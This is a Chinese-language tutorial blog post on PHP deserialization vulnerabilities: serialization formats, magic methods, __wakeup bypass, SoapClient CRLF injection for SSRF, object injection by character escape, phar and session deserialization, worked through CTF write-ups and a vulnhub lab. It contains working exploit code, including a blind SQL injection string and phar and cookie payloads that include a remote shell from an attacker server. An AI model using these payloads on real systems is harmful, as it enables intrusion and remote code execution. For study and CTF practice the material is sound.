![43cfd4a76c67ee5cb877e470e0e49b69.gif](https://i-blog.csdnimg.cn/blog_migrate/06e6de754d03988c63c843e66cbaa6f0.gif)
点击上方“蓝字”带你去看小星星
![adb14e058d77055f43b827e9311d4f2d.png](https://i-blog.csdnimg.cn/blog_migrate/cf8ab4e19a6f57eda784e866af6ab1fc.png)
导图
![adb14e058d77055f43b827e9311d4f2d.png](https://i-blog.csdnimg.cn/blog_migrate/cf8ab4e19a6f57eda784e866af6ab1fc.png)
开头一张图,内容全靠编
序列化与反序列化
在 PHP中,序列化使用 serialize()函数将对象转化为可传输的字符串,反序列化则使用unserialize() 将字符串还原为对象。
序列化结果分析
解释一下不同数据类型序列化的结果:
<?php Classtest{ public$a= '1'; public$bb= 2; public$ccc= True;}$r= newtest();echoserialize($r);$array_t= array("a"=>"1","bb"=>"2","ccc"=>"3");echoserialize($array_t);
输出结果分别为:
O:4:"test":3:{s:1:"a";s:1:"1";s:2:"bb";i:2;s:3:"ccc";b:1;}a:3:{s:1:"a";s:1:"1";s:2:"bb";s:1:"2";s:3:"ccc";s:1:"3";}
对于反序列化的结果,第一个字母O 代表 Object,a代表 array,s代表 string,这里没有列举string 的例子是因为没有必要。具体解释如图,array的结果也是类似的,只不过 array是数据类型直接加元素个数。
另外,这里的 4 (第一个,O后面的那个) 可以换成+4,可以用来 bypass。
不同类型类属性结果
解释一下类中不同类型属性序列化的结果:
<?php Classtest{ private$a= "a"; protected$b= "b"; public$c= "c";}$r= newtest();echoserialize($r);echourlencode(serialize($r));
输出结果为:
O:4:"test":3:{s:7:"testa";s:1:"a";s:4:"*b";s:1:"b";s:1:"c";s:1:"c";}O%3A4%3A%22test%22%3A3%3A%7Bs%3A7%3A%22%00test%00a%22%3Bs%3A1%3A%22a%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A1%3A%22b%22%3Bs%3A1%3A%22c%22%3Bs%3A1%3A%22c%22%3B%7D
把第一个结果进行urlencode 之后和第二个比较,可以发现不一样的。
PHP 序列化的时候 private和 protected 变量会引入不可见字符\00,\00test\00a 为private,\00*\00 为protected,注意这两个 \00就是 ascii 码为0 的字符。这个字符显示和输出可能看不到,甚至导致截断,url编码后就可以看得很清楚了。
此时,为了更加方便进行反序列化payload 的传输与显示,我们可以在序列化内容中用大写S 表示字符串,此时这个字符串就支持将后面的字符串用16 进制表示。所以一般都会使用urlencode 或者 base64 encode。
关于base64_encode和urlencode处理payload
注意,大写 S表示字符串,后面再跟 \00 在php 5.5 之前可以被成功解释,之后不可以。另外,如果输入内内容是base64 编码之后的结果,那么再进行base64 解码时,原本的 url编码不会被识别。
<?php Class test{ public $a = "a";}// O%3A4%3A%22test%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A1%3A%22a%22%3B%7D$s = "TyUzQTQlM0ElMjJ0ZXN0JTIyJTNBMSUzQSU3QnMlM0ExJTNBJTIyYSUyMiUzQnMlM0ExJTNBJTIyYSUyMiUzQiU3RA==";// 假设 $s 是输入的 payloadvar_dump(unserialize(base64_decode($s)));// 报错var_dump(unserialize(urldecode(base64_decode($s))));// 正确输出
private 变量赋值
在构造 pop链时,private 类型变量最好使用__construct函数来进行赋值,以免出错
如果只是赋值为字符串的话,可以直接赋值;但是如果是类的实例化对象 的话,就要用这种方法。
classUser{ private$name="admin"; private$age; function__construct(){ $this->age= newAge(); } function__destruct(){ }}
魔术方法
code
<?php ClassUser{ public$name= "Bob"; private$id= "417"; function__construct($name){ $this->name= $name; echo"thisis __construct".""; } function__destruct(){ echo"thisis __destruct".""; } function__invoke(){ echo"thisis __invoke".""; } function__toString(){ return "thisis __toString".""; } function__wakeup(){ echo"thisis __wakeup".""; } function__sleep(){ echo"thisis __sleep".""; returnarray("name","id"); } function__call($name,$args){ echo"thisis __call. name is ".$name."args is ".$args.""; } function__get($arg){ echo"call__get".""; } function__set($name,$id){ echo"call__set".""; }}$r= newUser("Alice");$r();echo$r;unserialize(serialize($r));$r->print("a");$r->id;$r->id= 1;
输出顺序如下:
thisis __constructthisis __invokethisis __toStringthisis __sleepthisis __wakeupthisis __destructthisis __call.name is printargs is Arraycall__getcall__setthisis __destruct
_sleep() 在\_construct() 执行前执行,__wakeup() 会在 unserialize()执行前执行,所以 __wakeup() 比__destruct() 提前执行。
__wakeup() bypass
在需要对__wakeup() 进行绕过的时候,可以让序列化结果中类属性的数值大于其真正的数值进行绕过,这个方式适用于PHP < 5.6.25 和 PHP< 7.0.10。
<?php ClassUser{ public$name="Bob"; function__destruct(){ echo"nameis Bob "; } function__wakeup(){ echo"exit"; }}@var_dump(unserialize($_POST["u"]));
POST 参数O:4:"User":1:{s:4:"name";s:3:"Bob";}可以看到输出是:
exitobject(User)[1] public 'name' => string 'Bob' (length=3)nameis Bob
如果在某些情况下,不想让__wakeup() 执行,可以将 "User"后的 2 改为一个比2 大的数字
POST 参数O:4:"User":2:{s:4:"name";s:3:"Bob";}:
nameis Bobbooleanfalse
SoapClient 反序列化与CRLF
SoapClient类 用来提供和使用 webservice。
publicSoapClient::SoapClient(mixed$wsdl[,array$options])
第一个参数为WSDL 文件的 URI ,如果是NULL 意味着不使用 WSDL 模式。
第二个参数是一个数组,如果在WSDL 模式下,这个参数是可选的。如果在non-WSDL 模式下,必须设置location 和 uri 参数,location是要请求的 URL,uri是要访问的资源。
在官方文档中可以看到,它的user_agent 参数是可以控制 HTTP头部的 User-Agent 的。而在HTTP 协议中,header 与body 是用两个 \r\n分隔的,浏览器也是通过这两个 \r\n来区分 header 和body 的。
Theuser_agent option specifies string to use in User-Agent header.
在一个正常的SoapClient 请求中,可以看到,SOAPAction是可控的,尽管 php 报了关于http 头部的 Fatal error 和SoapFault,还是监听到了请求。
<?php $a= array('location'=>'http://127.0.0.1:20000/','uri'=>'user');$x= newSoapClient(NULL,$a);$y= serialize($x);$z= unserialize($y);$z->no_func();
这样就有两个地方是可控的,User-Agent和 SOAPAction,明显Content-Type 和 Content-Length 都在User-Agent 之下,用 wupco 师傅的payload 就能进行任意的 POST请求,这里要先 urldecode 才可以进行反序列化。
<?php $target= 'http://127.0.0.1:20000/';$post_string= 'asdfghjkl';$headers= array( 'X-Forwarded-For:127.0.0.1', 'Cookie:admin=1' );$b= newSoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"peri0d"));$aaa= serialize($b);$aaa= str_replace('^^','%0d%0a',$aaa);$aaa= str_replace('&','%26',$aaa);echo$aaa;$x= unserialize(urldecode($aaa));$x->no_func();
在 index.php处的代码是捕获 http body 并存储到txt 中,先监听一下端口得到请求头,然后再用soap 访问一下 index.php,可以看到成功控制了这个POST 请求。
POST/ HTTP/1.1Host:122.51.18.106:20000Connection:Keep-AliveUser-Agent:wupcoContent-Type:application/x-www-form-urlencodedX-Forwarded-For:127.0.0.1Cookie:admin=1Content-Length:9asdfghjklContent-Type:text/xml; charset=utf-8SOAPAction:"user#no_func"Content-Length:371<?xmlversion ="1.0" encoding="UTF-8"?><SOAP-ENV:Envelopexmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"xmlns:ns1="user"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:no_func/>SOAP-ENV:Body>SOAP-ENV:Envelope>
![9ab3c2819a51361f0b1640e351825362.png](https://i-blog.csdnimg.cn/blog_migrate/7864a83e2942558e735ed1c2ab0b9788.png)
[N1CTF2018] Easy&&Hard Php 就用到了这个知识点,那里先是在Db 类的 insert 方法中,会把array(columns) 替换为`userid`,`username`,`signature`,`mood` ,把array(values) 替换为 ('22','user','aa','0' ) 其中会把 `替换为 '
privatefunctionget_column($columns){ if(is_array($columns)) $column= '`'.implode('`,`',$columns).'`'; else $column= '`'.$columns.'`'; return$column; } publicfunctioninsert($columns,$table,$values){ $column= $this->get_column($columns); $value='('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')'; $nid= $sql= 'insertinto '.$table.'('.$column.')values '.$value; $result= $this->conn->query($sql); return$result; }
最终的 insert语句为如下,在 signature那里就可以触发注入,可以使用is_admin<>0判断 admin ,就可以得到用户名和密码,一个语句如下:
//insert 语句insertinto ctf_user_signature(`userid`,`username`,`signature`,`mood`)values ('22','user','aa','0') //注入语句signature=ss`,if(ascii(substr((selectusername from (SELECT * FROM ctf_users) as x whereis_admin<>0),1,1))=97,SLEEP(3),1))%23
在 user.php中的 showmess() 中会反序列化mood 参数,因此可以构造 payload触发反序列化,再利用上面的SoapClient 就可以触发 SSRF绕过登陆限制。
ss`,payload)%23
PHP 反序列化字符逃逸
在 php的反序列化中,有如下几个特点:
类中不存在的属性也会进行反序列化;
对于类和数组的反序列化,以 ;作为字段的分隔,以} 作为结尾,若在 } 后再加数据将直接被丢弃;
反序列化按照严格的格式进行。
这里举个简单的例子便于理解,更详细的可以阅读这两个帖子详解PHP反序列化中的字符逃逸、 php反序列化字符逃逸(https://xz.aliyun.com/t/6718)。
对于如下代码,如何做到对象注入?直接O:4:"Test":2:{s:4:"name";s:3:"Bob";s:8:"password";s:6:"123456";s:6:"object";s:6:"inject";}就可。
<?php classTest{ public$name= "Bob"; public$password= "123456";}functionfilter($string){ returnstr_replace('xx','y',$string);}$a= $argv[1];var_dump(unserialize(filter($a)));
下面是逃逸内容:
Test 类的一个实例化对象进行序列化之后为O:4:"Test":2:{s:4:"name";s:3:"Bob";s:8:"password";s:6:"123456";}
如果这个字符串中存在一个 xx字符串,在经过 filter()函数操作后,其长度就减少了 1位,比如O:4:"Test":2:{s:4:"name";s:5:"Bobxx";s:8:"password";s:6:"123456";}就变成O:4:"Test":2:{s:4:"name";s:5:"Boby";s:8:"password";s:6:"123456";}
这样 name 字段就多了一个字符,那就是不是可以考虑继续增加xx 的数量,直到 name字段的长度吃掉后面所有的内容,这时,不就可以注入任意内容了吗?
";s:8:"password";s:6:"123456";}长度为 31,也就需要加31 个 xx
O:4:"Test":2:{s:4:"name";s:65:"Bobxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:8:"password";s:6:"123456";}";s:6:"object";s:6:"inject";}
经过 filter后就是:
O:4:"Test":2:{s:4:"name";s:65:"Bobyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";s:8:"password";s:6:"123456";}";s:6:"object";s:6:"inject";}
最后输出结果就是:
classTest#1(3) { public$name=> string(65)"Bobyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";s:8:"password";s:6:"123456";}" public $password=> string(6) "123456" public $object=> string(6) "inject"}
Phar 反序列化
phar 就是将多个php 文件合成为一个 phar文件,这个类似于 java 中的jar。
phar结构由 4部分组成
stub : phar 文件标识,格式为 xxx<?php xxx; _HALTCOMPILER();?>
manifest : 压缩文件的属性等信息,以序列化存储;
contents : 压缩文件的内容;
signature : 签名,放在文件末尾;
引用 : 由PHPGGC 理解 PHP 反序列化漏洞
php 在解析 phar文件的 metadata 时可能会触发反序列化操作,而且phar 会默认注册 phar:// 协议,在用phar:// 协议读取文件的时候会自动解析成phar 对象,同时反序列化其中存储的metadata 信息。
这就意味着如果可以找到一个上传点,上传构造好的phar,然后再找到一个可以触发phar 的点,这就构成了一个利用链。偶然看到了p 神的原话。
1、文件操作函数中的参数可控 。
2、文件有上传点,可上传构造的特殊phar文件 。
3、有可利用的 POP链。
重新认识反序列化-Phar()
生成phar
执行完毕后会生成一个test.phar 文件,其中的 metadata是以序列化的形式出现的。php函数在对 phar 文件进行解析时,就必伴随着反序列化的操作。
xxxxx<?php _HALTCOMPILER(); ?> 为phar 文件首部,xxxxx可以任意修改为其他文件的头,这样就可以伪造成其他文件。metadata 序列化内容为O:11:"TestObeject":1:{s:4:"data";s:6:"aaaaaa";}
<?php classTestObeject{}$phar= newPhar('test.phar',0,'test.phar');$phar->startBuffering();$phar->setStub('xxxxx<?php__HALT_COMPILER (); ?>');$o= newTestObeject();$o->data='aaaaaa';$phar->setMetadata($o);$phar->addFromString('text.txt','test');$phar->stopBuffering();
读取phar 文件
以上面生成的phar 为例:
<?php classTestObeject{ publicfunction__destruct(){ echo$this->data; }}include('phar://test.phar');
输出结果,如果想读取text.txt 需要这样包含include('phar://test.phar/text.txt');
aaaaaa
phar 伪造文件类型
<?php classTestObeject{}$phar= newPhar('test2.phar',0,'test2.phar');$phar->startBuffering();$phar->setStub('GIF89a<?php__HALT_COMPILER (); ?>');$o= newTestObeject();$o->data='xxx';$phar->setMetadata($o);$phar->addFromString('text.txt','test');$phar->stopBuffering();
一个案例
代码放在这里了https://github.com/peri0d/phar_test。
主要实现了一个上传功能,在uploadfile.php 使用了白名单的方式。evil.php代码如下,其中 fileexists可以触发 phar 反序列化。
<?php $filename=$_GET['filename'];classAnyClass{ function__destruct() { eval($this-> output); }}file_exists($filename);
使用下面的代码生成phar.phar,改名为 phar.gif再上传,向 evil.php 传参?filename=phar://upload_file/phar.gif即可。
<?php classAnyClass{ function__destruct() { eval($this-> output); }}$phar= newPhar('phar.phar',0,'phar.phar');$phar->startBuffering();$phar->setStub('GIF89a<?php__HALT_COMPILER (); ?>');$o= newAnyClass();$o->output='phpinfo();';$phar->setMetadata($o);$phar->addFromString('text.txt','test');$phar->stopBuffering();
phar 反序列化触发函数
利用phar 拓展 php 反序列化漏洞攻击面(https://paper.seebug.org/680/)。
finfofile finfobuffer mimecontenttypeinclude php://filter getimagesize getimagesizefromstring
[SUCTF2019] Upload labs2
这一题的思路就是,上传phar 文件,在 func.php 中post 数据php://filter/resource=phar://...触发 class.php 中File 类的 _wakeup(),在\_wakeup() 中触发 SoapClient 反序列化,绕过只能本地访问admin.php 的限制。再上传包含admin.php 中 Ad() 类的phar 文件,向 admin.php传入参数,进行 MySQL Client Attack以 phar:// 方式读取这次上传的phar,进而触发 Ad() 类的__wakeup(),形成一条完整的攻击链。
[LCTF2018] T4lk 1sch34p,sh0w m3 the sh31l
在知道上面这些知识之后再看这个题目,就觉得很简单。首先是获取flag 的条件,出题人已经在K0rz3n_secret_flag类的 __destruct() 函数写出来了include_once($this->file_path);,即远程文件包含 shell。远程包含shell 时候是把 shell 写入txt 而不是 php。
可以远程包含的原因在 upload()里写了,preg_match('/^(http|https).*/i',$_GET['url'])
这里上传的路径表面上无法获取,实际上在cookie 中已经给出了O%3A4%3A%22User%22%3A1%3A%7Bs%3A6%3A%22avatar%22%3Bs%3A40%3A%22..%2Fdata%2Ff528764d624db129b32c21fbca0cb8d6%22%3B%7D-----f56979ade75e2d12c660ea9760664dd9
思路就是想办法触发K0rz3nsecretflag() 类的反序列化,这就可以考虑phar。因为源码中可以触发 phar反序列化的函数有很多,fileexists、getimagesize、copy......但是,可以利用的只有getimagesize,fileexists不能控制 path,copy中不能出现 phar,getimagesize恰好是不允许以 phar 开头,所以可以用compress.zlib://phar://绕过。
最终 exp 如下,改名为avatar.gif 放在 vps 上,然后?m=upload&url=http://vps 上传,最后
?m=check&c=compress.zlib://phar://../data/f528764d624db129b32c21fbca0cb8d6/avatar.gif&a=phpinfo();
<?php classK0rz3n_secret_flag { protected$file_path= "http://vps/shell.txt";}$phar= newPhar('test.phar',0,'test.phar');$phar->startBuffering();$phar->setStub('GIF89a<?php__HALT_COMPILER (); ?>');$o= newK0rz3n_secret_flag();$phar->setMetadata($o);$phar->addFromString('text.txt','test');$phar->stopBuffering();
后来看了一下github 上的writeup,说是这题出的有问题,是非预期,怪不得感觉不难。
[护网杯2018]easy_laravel
这一题的大概流程就是SQL 注入拿到 admin 的token,admin 的email 是已知的,然后就可以重置密码(登陆界面处 ),之后就可以以admin 登陆。
访问 flag 发现没有flag,提示是 bladeexpired,就可以寻找 phar 反序列化链删除Blade 缓存文件,然后上传 phar文件,在 check 中触发反序列化。
这题主要说的是 Laravel有默认的重置密码机制,也是 email+ token 的形式;其次是 blade缓存的问题,它的缓存位置是storage/framework/views;最后就是很火的 phar 反序列化。
session 反序列化
php 中的session
session可以作为文件存储在服务器的某个目录下,也可以存在数据库中。其中,session文件以 sess_开头,且只含有 a-z,A-Z,0-9,-
session 的存储路径可以在 php.ini中的 session.save_path处配置,也可在脚本中用session_save_path()函数控制。
php session handler
[HarekazeCTF2019] EasyNotes
详细的 wp可以看 这个文章这里只是总结一下,这是一个很典型的 session 伪造。 首先 session handler 是php,然后是 session 存储的位置,它是和note 导出的压缩包位置相同。然后用get_user()获取注册名,$type获取是 zip 还是tar,这里就可以伪造 session,user为 sess_type 为 .经过 str_replace就变成一个符合 session名称格式的文件,然后就是向 note写入 session 反序列化的内容,伪造admin。[i-SOON CTF2019]easyserializephp
这个题目表面上在说session ,实际上就是 phparray unserialize,因为它中间有一个$serialize_info= filter(serialize($_SESSION)); 那这就和session handler 没多大关系了。
通过 extract() 变量覆盖可以覆盖session 数组中的 key=>value,不仅仅可以覆盖,还可以增加,这就造成多解。这一题的 filter 函数会把flag, php 等关键词替换为 空这就很明显的 反序列化注入对象。
覆盖是指,覆盖 user 和function 对应的 value,在 user 处插入关键词,进行覆盖,在function 处进行对象注入,如果只利用function 进行逃逸的话,是无法控制对象的注入的。
简化一下就是a:3:{s:4:"user";s:5:"{1}";s:8:"function";s:10:"{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}在 {1} 处覆盖,使user 的 value 覆盖掉function 字段,然后在 {2}处注入对象,最后就是修改 {2}的内容,使它满足反序列化的规则。
增加是指不修改 user 和function 对应的 value,直接插入新的key=>value,新插入的字段在 img字段之前,所以可以使用这种方法。
这个简化一下就是a:4:{s:4:"user";s:4:"aaaa";s:8:"function";s:4:"bbbb";s:4:"{1}";s:4:"{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}同样的 {1} 处覆盖自己的value,{2} 处注入对象并调整内容。
[高校战“疫”2020]hackme
这里就只说前面的部分,后面的ssrf 可以看详细的 wp。
这里就是典型的不同 sessionhandler 对 session 内容有不同的处理,导致的伪造。
在 html 下的php 文件,除了 profile.php是 php的方式,其他都是 php_serialize的方式,也就是说,从登陆到上传签名都是php_serialize 而在查看签名时是php。
在 core 下的文件,都是php 的方式。整体思路就出来了,就是利用这两个不同方式解析的差异去伪造admin。
php的方式name|s:2:"pe";sign|s:7:"xianzhi";admin|i:0;php_serialize的方式a:3:{s:4:"name";s:2:"pe";s:4:"sign";s:7:"xianzhi";s:5:"admin";i:0;}
假设 session为:
a:3:{s:4:"name";s:2:"pe";s:4:"sign|s:10:"xianzhi233";admin|i:1;|N;";s:7:"xianzhi";s:5:"admin";i:1;}
那么以 php方式解析时的结果为:
再看一下 session文件,发现其内容变为如下内容,自动丢弃不符合规定的内容。
a:3:{s:4:"name";s:2:"pe";s:4:"sign|s:10:"xianzhi233";admin|i:1;|N;
回到题目,在lib.php 的 check_session 函数中,返回admin 的判断条件如下,意思就是在session 数组中再套一层 admin字段。
functioncheck_session($session){ foreach($sessionas$keys=> $values){ foreach($valuesas$key=> $value){ if($key=== 'admin'&& $value=== 1){ returntrue; } } } returnfalse;}
看一下正常生成的session,sign 和name 是可控的,这里就考虑用sign 字段,因为 name 字段的输入有过滤。
a:3:{s:4:"name";s:7:"xianzhi";s:4:"sign";s:6:"gadsaf";s:5:"admin";i:0;}
在 upload功能处,提交|N;sign|s:1:"*";admin|a:1:{s:5:"admin";i:1;}这样 session 就是。
a:3:{s:4:"name";s:7:"xianzhi";s:4:"sign";s:44:"|N;sign|s:1:"*";admin|a:1:{s:5:"admin";i:1;}
经过 php方式解析后就符合条件了。
[vulnhub] serial1这是 vulnhub上一个关于 php unserialize的靶机,这里就直接给源码了,很简单,暂未做任何修改。代码测试要开启allowurlfopen 和 allowurlinclude
靶机地址 :https://www.vulnhub.com/entry/serial-1,349/
源码地址 :https://github.com/peri0d/vulnhub_serial1
index.php 是对 cookie 中的user 字段进行 base64 decode加反序列化,这是可控输入。
<?php include("user.class.php");if(!isset($_COOKIE['user'])){ setcookie("user",base64_encode(serialize(newUser('sk4'))));}else{ unserialize(base64_decode($_COOKIE['user']));}echo"Thisis a beta test for new cookie handler\n";
user.class.php 定义两个类User 和 Welcome。
<?php include("log.class.php");classWelcome{ publicfunctionhandler($val){ echo"Hello".$val. "......"; }}classUser{ private$name; private$wel; function__construct($name){ $this->name= $name; $this->wel= newWelcome(); } function__destruct(){ $this->wel->handler($this->name); }}
log.class.php 定义Log 类。
<?php classLog{ private$type_log; function__construct($hnd){ $this->type_log= $hnd; } publicfunctionhandler($val){ include($this->type_log); echo"LOG:". $val; }}
很明显第三个类是给我们利用的,因为前两个文件都没有用到第三个,并且Welcome 类和 Log 类都有handler 函数,而在 User类的析构函数中调用了 wel 实例化对象的handler 函数。
Log 类的 handler 函数有include 函数,这样的话攻击链就很明显了,用User 的析构函数触发 Log 的handler 函数去包含构造的 shell文件,修改一下 cookie 即可。
<?php classLog{ private$type_log= "http://vps/shell.txt";}classUser{ private$name; private$wel; function__construct(){ $this->name= "admin"; $this->wel= newLog(); }}$a= newUser();echobase64_encode(serialize($a));
最后
反序列化要多多关注 __destruct 和 __wakeup 函数。
尽量选择简单的函数去构造 pop 链。
参考https://xz.aliyun.com/t/2148#toc-0
https://xz.aliyun.com/t/6057
https://xz.aliyun.com/t/6699#toc-5
https://blog.zsxsoft.com/post/38
https://xz.aliyun.com/t/6911#toc-3
https://lorexxar.cn/2020/01/14/css-mysql-chain/
https://skysec.top/2018/10/13/2018%E6%8A%A4%E7%BD%91%E6%9D%AF-web-writeup/
![7bd5b1930457713ce19986fd52c3b77f.gif](https://i-blog.csdnimg.cn/blog_migrate/9d5009481b1e034d54977a00df3c8f44.gif)
![cb7c4b5ad25f0d499555d9866ec8a5c2.png](https://i-blog.csdnimg.cn/blog_migrate/b9ebfeabdf2bb084c2019a594b7f61a9.jpeg)
![b5a95ec643c719341a398a28dc5516d4.gif](https://i-blog.csdnimg.cn/blog_migrate/4839e473df95ef2407e45c39c68f83ea.gif)